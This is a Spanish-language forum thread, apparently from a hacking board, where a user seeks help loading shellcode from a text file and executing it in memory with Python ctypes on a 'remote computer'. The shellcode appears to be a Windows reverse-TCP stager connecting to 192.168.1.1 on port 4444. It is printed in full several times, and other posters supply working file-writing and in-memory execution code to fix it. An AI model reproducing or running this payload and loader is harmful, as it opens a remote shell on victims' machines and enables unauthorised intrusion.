Autor
|
Tema: [PYTHON] Leer una shellcode y ejecutarla (Leído 4,347 veces)
|
Sentex
Desconectado
Mensajes: 87
Programador
|
Hola buenas. Intento ejecutar una shellcode en un ordenador remoto (cliente) pero la shellcode esta en otro ordenador (el servidor). La ejecución de una shellcode en python seria el codigo siguiente: from ctypes import * shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02" "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" "\x53\xff\xd5") memory_ref = create_string_buffer(shellcode, len(shellcode)) shellcode = cast(memory_ref, CFUNCTYPE(c_void_p)) shellcode()
Y lo que quiero es leer en un .txt por ejemplo esa misma shellcode y luego ejecutarlo en el ordenador remoto. All tenerlo en un .txt se convierte en un string con lo cual no funciona. Necesito ayuda. gracias!
|
|
|
En línea
|
Preguntas o peticiones en twitter o discord:
Discord: MrSentex#1227 Twitter: @fbi_sentex
|
|
|
engel lex
|
conviertelo de vuelta a bytes, de toda forma será necesario si lo transmitirás sobre red para convertir un string en un array de bytes solo es necesario usar .encode() si quieres que sea convertido en base a alguna condificacion lo aclaras entre los parentesis, por ejemplo
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
Sentex
Desconectado
Mensajes: 87
Programador
|
Me sale el siguiente error: WindowsError: exception: access violation writing 0x00000000
|
|
|
En línea
|
Preguntas o peticiones en twitter o discord:
Discord: MrSentex#1227 Twitter: @fbi_sentex
|
|
|
engel lex
|
ya eso es un error de windows y escapa de mis conocimientos, pero por lo que parece intentaste escribir en una zona de la memoria donde no tenías permisos, estás corriendo como administrador?
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
MCKSys Argentina
|
Hola! Estás intentando ejecutar memoria que está definida como de lectura/escritura (La allocaste como string). Debes agregarle permisos de ejecución a la página para correr el shellcode. Saludos! EDIT: Revisa ésto.
|
|
« Última modificación: 20 Marzo 2018, 20:41 pm por MCKSys Argentina »
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
Sentex
Desconectado
Mensajes: 87
Programador
|
No es un error de permisos, ya lo solucione pero sigue sin funcionar . Source Code: from ctypes import * shellcode = "" with open("shellcode.txt", "r") as sc: shellcode1 = sc.readlines() for x in shellcode1: shellcode += x.encode() shellcode = (shellcode.encode()) memory_ref = create_string_buffer(shellcode, len(shellcode)) shellcode = cast(memory_ref, CFUNCTYPE(c_void_p)) shellcode()
Shellcode.txt: \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30 \x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff \xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52 \x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1 \x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b \x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03 \x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b \x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24 \x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb \x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c \x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68 \x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02 \x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea \x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61 \xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00 \x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83 \xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a \x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57 \x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00 \x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68 \x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff \xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00 \x53\xff\xd5
La shellcode no se ejecuta y no suelta ningún error.
|
|
|
En línea
|
Preguntas o peticiones en twitter o discord:
Discord: MrSentex#1227 Twitter: @fbi_sentex
|
|
|
engel lex
|
ahh... pero es que tu tienes liretalmente eso en el archivo de texto... tienes que leer de 3 en 3 e ir convirtiendo a su representación
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
MCKSys Argentina
|
No es un error de permisos, ya lo solucione pero sigue sin funcionar . Te puedo asegurar que ese código dará error en cualquier windows que tenga DEP activado (todos los modernos). Pero bueno, tú sabrás... Con respecto a tu problema de guardar en archivos: # save binary data in file shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" shellcode += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" shellcode += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" shellcode += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" shellcode += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" shellcode += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" shellcode += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" shellcode += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" shellcode += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" shellcode += "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" shellcode += "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02" shellcode += "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" shellcode += "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" shellcode += "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" shellcode += "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" shellcode += "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" shellcode += "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" shellcode += "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" shellcode += "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" shellcode += "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" shellcode += "\x53\xff\xd5" f = open("shellcode.txt", "wb") f.write(shellcode) f.close() # load data from file and execute in heap (fails with DEP enabled for all processes) shellcode = "" with open("shellcode.txt", "r") as sc: #shellcode1 = sc.readlines() #for x in shellcode1: # shellcode += x.encode() shellcode = sc.read() #shellcode = (shellcode.encode()) memory_ref = create_string_buffer(shellcode, len(shellcode)) shellcode = cast(memory_ref, CFUNCTYPE(c_void_p)) shellcode()
Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
Sentex
Desconectado
Mensajes: 87
Programador
|
Cual codigo podría funcionar ahora?
|
|
|
En línea
|
Preguntas o peticiones en twitter o discord:
Discord: MrSentex#1227 Twitter: @fbi_sentex
|
|
|
MCKSys Argentina
|
Cual codigo podría funcionar ahora?
El primero que te pasé tiene lo necesario para funcinar en todos los Windows. Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
C# - Cómo copiar la aplicación al ejecutarla?
.NET (C#, VB.NET, ASP)
|
Krata
|
1
|
2,468
|
27 Octubre 2009, 18:17 pm
por Krata
|
|
|
[Python] Leer documentos.
« 1 2 »
Scripting
|
Meta
|
19
|
12,357
|
7 Noviembre 2010, 09:41 am
por braulio--
|
|
|
leer archivo con python
Scripting
|
poeta3d
|
1
|
3,525
|
18 Diciembre 2011, 04:53 am
por 0x5d
|
|
|
[AYUDA][PYTHON] Leer y guardar archivos .exe de forma hexadecimal en python???
Scripting
|
Noxware
|
3
|
5,778
|
22 Agosto 2014, 09:33 am
por Eleкtro
|
|
|
[PYTHON] Leer pagina web
Scripting
|
<Trocutor>
|
2
|
2,531
|
4 Octubre 2017, 02:25 am
por tincopasan
|
|